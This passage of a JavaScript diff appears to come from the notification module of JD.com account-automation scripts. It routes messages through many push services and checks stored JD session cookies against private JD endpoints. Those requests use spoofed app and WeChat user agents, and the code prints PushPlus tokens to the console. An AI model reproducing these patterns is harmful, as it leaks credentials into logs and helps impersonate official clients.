console.log("好像是新账号,从接口获取别名" + $.nickName); + } else { + console.log($.UserName + "该账号没有别名....."); + } + tempAddCK = { + "pt_pin": $.UserName, + "nickName": $.nickName + }; + TempCK.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + $.nickName = $.nickName || $.UserName; + + //开始替换内容中的名字 + if (ShowRemarkType == "2") { + $.Remark = $.nickName + "(" + $.Remark + ")"; + } + if (ShowRemarkType == "3") { + $.Remark = $.UserName + "(" + $.Remark + ")"; + } + + try { + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + text = text.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + if (text == "京东资产变动" || text == "京东资产变动#2" || text == "京东资产变动#3" || text == "京东资产变动#4") { + var Tempinfo = getQLinfo(cookie, envs[i].created, envs[i].timestamp, envs[i].remarks); + if (Tempinfo) { + $.Remark += Tempinfo; + } + } + + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + strsummary = strsummary.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + //console.log("额外处理2:"+tempname); + text = text.replace(new RegExp(tempname, 'gm'), $.Remark); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + strsummary = strsummary.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + + //console.log($.nickName+$.Remark); + + } + + } + + } + console.log("处理完成,开始发送通知..."); + if (strAllNotify) { + desp = strAllNotify + "\n" + desp; + } + } + } catch (error) { + console.error(error); + } + + if (boolneedUpdate) { + var str = JSON.stringify(TempCK, null, 2); + fs.writeFile(strCKFile, str, function (err) { + if (err) { + console.log(err); + console.log("更新CKName_cache.json失败!"); + } else { + console.log("缓存文件CKName_cache.json更新成功!"); + } + }) + } + + //提供6种通知 + desp = buildLastDesp(desp, author) + + await serverNotify(text, desp); //微信server酱 + + if (PUSH_PLUS_TOKEN_hxtrip) { + console.log("hxtrip TOKEN :" + PUSH_PLUS_TOKEN_hxtrip); + } + if (PUSH_PLUS_USER_hxtrip) { + console.log("hxtrip USER :" + PUSH_PLUS_USER_hxtrip); + } + PushErrorTime = 0; + await pushPlusNotifyhxtrip(text, desp); //pushplushxtrip(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotifyhxtrip(text, desp); + } + + if (PUSH_PLUS_TOKEN) { + console.log("PUSH_PLUS TOKEN :" + PUSH_PLUS_TOKEN); + } + if (PUSH_PLUS_USER) { + console.log("PUSH_PLUS USER :" + PUSH_PLUS_USER); + } + PushErrorTime = 0; + await pushPlusNotify(text, desp); //pushplus(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + } + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + + } + + //由于上述两种微信通知需点击进去才能查看到详情,故text(标题内容)携带了账号序号以及昵称信息,方便不点击也可知道是哪个京东哪个活动 + text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + BarkNotify(text, desp, params), //iOS Bark APP + tgBotNotify(text, desp), //telegram 机器人 + ddBotNotify(text, desp), //钉钉机器人 + qywxBotNotify(text, desp), //企业微信机器人 + qywxamNotify(text, desp, strsummary), //企业微信应用消息推送 + iGotNotify(text, desp, params), //iGot + gobotNotify(text, desp), //go-cqhttp + gotifyNotify(text, desp), //gotify + wxpusherNotify(text, desp) // wxpusher + ]); +} + +function getuuid(strRemark, PtPin) { + var strTempuuid = ""; + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + console.log(PtPin + ": 检测到NVJDC的一对一格式,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length > 4) { + if (TempRemarkList[j].substring(0, 4) == "UID_") { + strTempuuid = TempRemarkList[j]; + break; + } + } + } + } + if (!strTempuuid) { + console.log("检索资料失败..."); + } + } + } + if (!strTempuuid && TempCKUid) { + console.log("正在从CK_WxPusherUid文件中检索资料..."); + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + strTempuuid = TempCKUid[j].Uid; + break; + } + } + } + return strTempuuid; +} + +function getQLinfo(strCK, intcreated, strTimestamp, strRemark) { + var strCheckCK = strCK.match(/pt_key=([^; ]+)(?=;?)/) && strCK.match(/pt_key=([^; ]+)(?=;?)/)[1]; + var strPtPin = decodeURIComponent(strCK.match(/pt_pin=([^; ]+)(?=;?)/) && strCK.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var strReturn = ""; + if (strCheckCK.substring(0, 4) == "AAJh") { + var DateCreated = new Date(intcreated); + var DateTimestamp = new Date(strTimestamp); + var DateToday = new Date(); + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + //console.log(strPtPin + ": 检测到NVJDC的备注格式,尝试获取登录时间,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length == 13) { + DateTimestamp = new Date(parseInt(TempRemarkList[j])); + //console.log(strPtPin + ": 获取登录时间成功:" + GetDateTime(DateTimestamp)); + break; + } + } + } + } + } + + //过期时间 + var UseDay = Math.ceil((DateToday.getTime() - DateCreated.getTime()) / 86400000); + var LogoutDay = 30 - Math.ceil((DateToday.getTime() - DateTimestamp.getTime()) / 86400000); + if (LogoutDay < 1) { + strReturn = "\n【登录信息】总挂机" + UseDay + "天(账号即将到期,请重登续期)" + } else { + strReturn = "\n【登录信息】总挂机" + UseDay + "天(有效期约剩" + LogoutDay + "天)" + } + + } + return strReturn +} + +function getRemark(strRemark) { + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + var TempRemarkList = strRemark.split("@@"); + return TempRemarkList[0].trim(); + } else { + //这是为了处理ninjia的remark格式 + strRemark = strRemark.replace("remark=", ""); + strRemark = strRemark.replace(";", ""); + return strRemark.trim(); + } + } else { + return ""; + } +} + +async function sendNotifybyWxPucher(text, desp, PtPin, author = '\n\n本通知 By ccwav Mod', strsummary = "") { + + try { + var Uid = ""; + var UserRemark = ""; + var strTempdesp = []; + var strAllNotify = ""; + if (text == "京东资产变动") { + strTempdesp = desp.split('🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏'); + if (strTempdesp.length == 2) { + strAllNotify = strTempdesp[0]; + desp = strTempdesp[1]; + } + + } + + if (WP_APP_TOKEN_ONE) { + var tempEnv = await getEnvByPtPin(PtPin); + if (tempEnv) { + cookie = tempEnv.value; + Uid = getuuid(tempEnv.remarks, PtPin); + UserRemark = getRemark(tempEnv.remarks); + + if (Uid) { + console.log("查询到Uid :" + Uid); + WP_UIDS_ONE = Uid; + console.log("正在发送一对一通知,请稍后..."); + + if (text == "京东资产变动") { + try { + $.nickName = ""; + $.FoundPin = ""; + $.UserName = PtPin; + if (tempEnv.status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + } + } + + $.nickName = $.nickName || $.UserName; + + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + + var Tempinfo = getQLinfo(cookie, tempEnv.created, tempEnv.timestamp, tempEnv.remarks); + if (Tempinfo) { + Tempinfo = $.nickName + Tempinfo; + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), Tempinfo); + } + + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + } + if (UserRemark) { + text = text + " (" + UserRemark + ")"; + } + console.log("处理完成,开始发送通知..."); + desp = buildLastDesp(desp, author); + if (strAllNotify) { + desp = strAllNotify + "\n" + desp; + } + await wxpusherNotifyByOne(text, desp, strsummary); + } else { + console.log("未查询到用户的Uid,取消一对一通知发送..."); + } + } + } else { + console.log("变量WP_APP_TOKEN_ONE未配置WxPusher的appToken, 取消发送..."); + + } + } catch (error) { + console.error(error); + } + +} + +async function GetPtPin(text) { + try { + const TempList = text.split('- '); + if (TempList.length > 1) { + var strNickName = TempList[TempList.length - 1]; + var strPtPin = ""; + console.log(`捕获别名:` + strNickName); + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].nickName == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + if (TempCK[j].pt_pin == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + } + if (strPtPin) { + console.log(`反查PtPin成功:` + strPtPin); + return strPtPin; + } else { + console.log(`别名反查PtPin失败: 1.用户更改了别名 2.可能是新用户,别名缓存还没有。`); + return ""; + } + } + } else { + console.log(`标题格式无法捕获别名...`); + return ""; + } + } catch (error) { + console.error(error); + return ""; + } + +} + +async function isLoginByX1a0He(cookie) { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} + +function gotifyNotify(text, desp) { + return new Promise((resolve) => { + if (GOTIFY_URL && GOTIFY_TOKEN) { + const options = { + url: `${GOTIFY_URL}/message?token=${GOTIFY_TOKEN}`, + body: `title=${encodeURIComponent(text)}&message=${encodeURIComponent(desp)}&priority=${GOTIFY_PRIORITY}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('gotify发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.id) { + console.log('gotify发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function gobotNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (GOBOT_URL) { + const options = { + url: `${GOBOT_URL}?access_token=${GOBOT_TOKEN}&${GOBOT_QQ}`, + json: { + message: `${text}\n${desp}` + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送go-cqhttp通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.retcode === 0) { + console.log('go-cqhttp发送通知消息成功🎉\n'); + } else if (data.retcode === 100) { + console.log(`go-cqhttp发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`go-cqhttp发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function serverNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (SCKEY) { + //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + const options = { + url: SCKEY.includes('SCT') ? `https://sctapi.ftqq.com/${SCKEY}.send` : `https://sc.ftqq.com/${SCKEY}.send`, + body: `text=${text}&desp=${desp}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + //server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0) { + console.log('server酱发送通知消息成功🎉\n'); + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`server酱发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function BarkNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (BARK_PUSH) { + const options = { + url: `${BARK_PUSH}/${encodeURIComponent(text)}/${encodeURIComponent( + desp + )}?sound=${BARK_SOUND}&group=${BARK_GROUP}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('Bark APP发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function tgBotNotify(text, desp) { + return new Promise((resolve) => { + if (TG_BOT_TOKEN && TG_USER_ID) { + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + body: `chat_id=${TG_USER_ID}&text=${text}\n\n${desp}&disable_web_page_preview=true`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require('tunnel'); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH, + }, + }), + }; + Object.assign(options, { + agent + }); + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功🎉。\n'); + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n'); + } else if (data.error_code === 401) { + console.log('Telegram bot token 填写错误。\n'); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function ddBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (DD_BOT_TOKEN && DD_BOT_SECRET) { + const crypto = require('crypto'); + const dateNow = Date.now(); + const hmac = crypto.createHmac('sha256', DD_BOT_SECRET); + hmac.update(`${dateNow}\n${DD_BOT_SECRET}`); + const result = encodeURIComponent(hmac.digest('base64')); + options.url = `${options.url}×tamp=${dateNow}&sign=${result}`; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else if (DD_BOT_TOKEN) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息完成。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function qywxBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (QYWX_KEY) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('企业微信发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('企业微信发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function buildLastDesp(desp, author = '') { + author = process.env.NOTIFY_AUTHOR || author; + if (process.env.NOTIFY_AUTHOR_BLANK || !author) { + return desp.trim(); + } else { + if (!author.match(/本通知 By/)) { + author = `\n\n本通知 By ${author}` + } + return desp.trim() + author + "\n通知时间: " + GetDateTime(new Date()); + } +} + +function ChangeUserId(desp) { + const QYWX_AM_AY = QYWX_AM.split(','); + if (QYWX_AM_AY[2]) { + const userIdTmp = QYWX_AM_AY[2].split('|'); + let userId = ''; + for (let i = 0; i < userIdTmp.length; i++) { + const count = '账号' + (i + 1); + const count2 = '签到号 ' + (i + 1); + if (desp.match(count2)) { + userId = userIdTmp[i]; + } + } + if (!userId) + userId = QYWX_AM_AY[2]; + return userId; + } else { + return '@all'; + } +} + +function qywxamNotify(text, desp, strsummary = "") { + return new Promise((resolve) => { + if (QYWX_AM) { + const QYWX_AM_AY = QYWX_AM.split(','); + const options_accesstoken = { + url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`, + json: { + corpid: `${QYWX_AM_AY[0]}`, + corpsecret: `${QYWX_AM_AY[1]}`, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options_accesstoken, (err, resp, data) => { + html = desp.replace(/\n/g, '
'); + html = `${html}`; + if (strsummary == "") { + strsummary = desp; + } + var json = JSON.parse(data); + accesstoken = json.access_token; + let options; + + switch (QYWX_AM_AY[4]) { + case '0': + options = { + msgtype: 'textcard', + textcard: { + title: `${text}`, + description: `${strsummary}`, + url: 'https://github.com/whyour/qinglong', + btntxt: '更多', + }, + }; + break; + + case '1': + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + break; + + default: + options = { + msgtype: 'mpnews', + mpnews: { + articles: [{ + title: `${text}`, + thumb_media_id: `${QYWX_AM_AY[4]}`, + author: `智能助手`, + content_source_url: ``, + content: `${html}`, + digest: `${strsummary}`, + }, ], + }, + }; + } + if (!QYWX_AM_AY[4]) { + //如不提供第四个参数,则默认进行文本消息类型推送 + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + } + options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accesstoken}`, + json: { + touser: `${ChangeUserId(desp)}`, + agentid: `${QYWX_AM_AY[3]}`, + safe: '0', + ...options, + }, + headers: { + 'Content-Type': 'application/json', + }, + }; + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); + } else { + resolve(); + } + }); +} + +function iGotNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (IGOT_PUSH_KEY) { + // 校验传入的IGOT_PUSH_KEY是否有效 + const IGOT_PUSH_KEY_REGX = new RegExp('^[a-zA-Z0-9]{24}$'); + if (!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) { + console.log('您所提供的IGOT_PUSH_KEY无效\n'); + resolve(); + return; + } + const options = { + url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`, + body: `title=${text}&content=${desp}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + if (typeof data === 'string') + data = JSON.parse(data); + if (data.ret === 0) { + console.log('iGot发送通知消息成功🎉\n'); + } else { + console.log(`iGot发送通知消息失败:${data.errMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function pushPlusNotifyhxtrip(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN_hxtrip) { + //desp = `${desp}`; + + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN_hxtrip}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER_hxtrip}`, + }; + const options = { + url: `http://pushplus.hxtrip.com/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + if (data.indexOf("200") > -1) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败:${data}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function pushPlusNotify(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN) { + + //desp = `${desp}`; + + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER}`, + }; + const options = { + url: `https://www.pushplus.plus/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败:${data.msg}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function wxpusherNotifyByOne(text, desp, strsummary = "") { + return new Promise((resolve) => { + if (WP_APP_TOKEN_ONE) { + var WPURL = ""; + if (strsummary) { + strsummary = text + "\n" + strsummary; + } else { + strsummary = text + "\n" + desp; + } + + if (strsummary.length > 96) { + strsummary = strsummary.substring(0, 95) + "..."; + } + let uids = []; + for (let i of WP_UIDS_ONE.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + + //desp = `${desp}`; + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + desp = `
+
+
+

+ ${text} +

+
+
+
+
+

+ 📢 +

+
+
+
+
+
+

+ ${desp} +

+
+
+
`; + + const body = { + appToken: `${WP_APP_TOKEN_ONE}`, + content: `${desp}`, + summary: `${strsummary}`, + contentType: 2, + topicIds: topicIds, + uids: uids, + url: `${WPURL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function wxpusherNotify(text, desp) { + return new Promise((resolve) => { + if (WP_APP_TOKEN) { + let uids = []; + for (let i of WP_UIDS.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + for (let i of WP_TOPICIDS.split(";")) { + if (i.length != 0) + topicIds.push(i); + }; + desp = `${text}\n\n${desp}`; + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + appToken: `${WP_APP_TOKEN}`, + content: `${text}\n\n${desp}`, + summary: `${text}`, + contentType: 2, + topicIds: topicIds, + uids: uids, + url: `${WP_URL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +function GetnickName() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} + +function GetnickName2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + $.isLogin = false; //cookie过期 + return; + } + const userInfo = data.user; + if (userInfo) { + $.nickName = userInfo.petName; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +module.exports = { + sendNotify, + sendNotifybyWxPucher, + BARK_PUSH, +}; + +// prettier-ignore +function Env(t, s) { + return new(class { + constructor(t, s) { + (this.name = t), + (this.data = null), + (this.dataFile = 'box.dat'), + (this.logs = []), + (this.logSeparator = '\n'), + (this.startTime = new 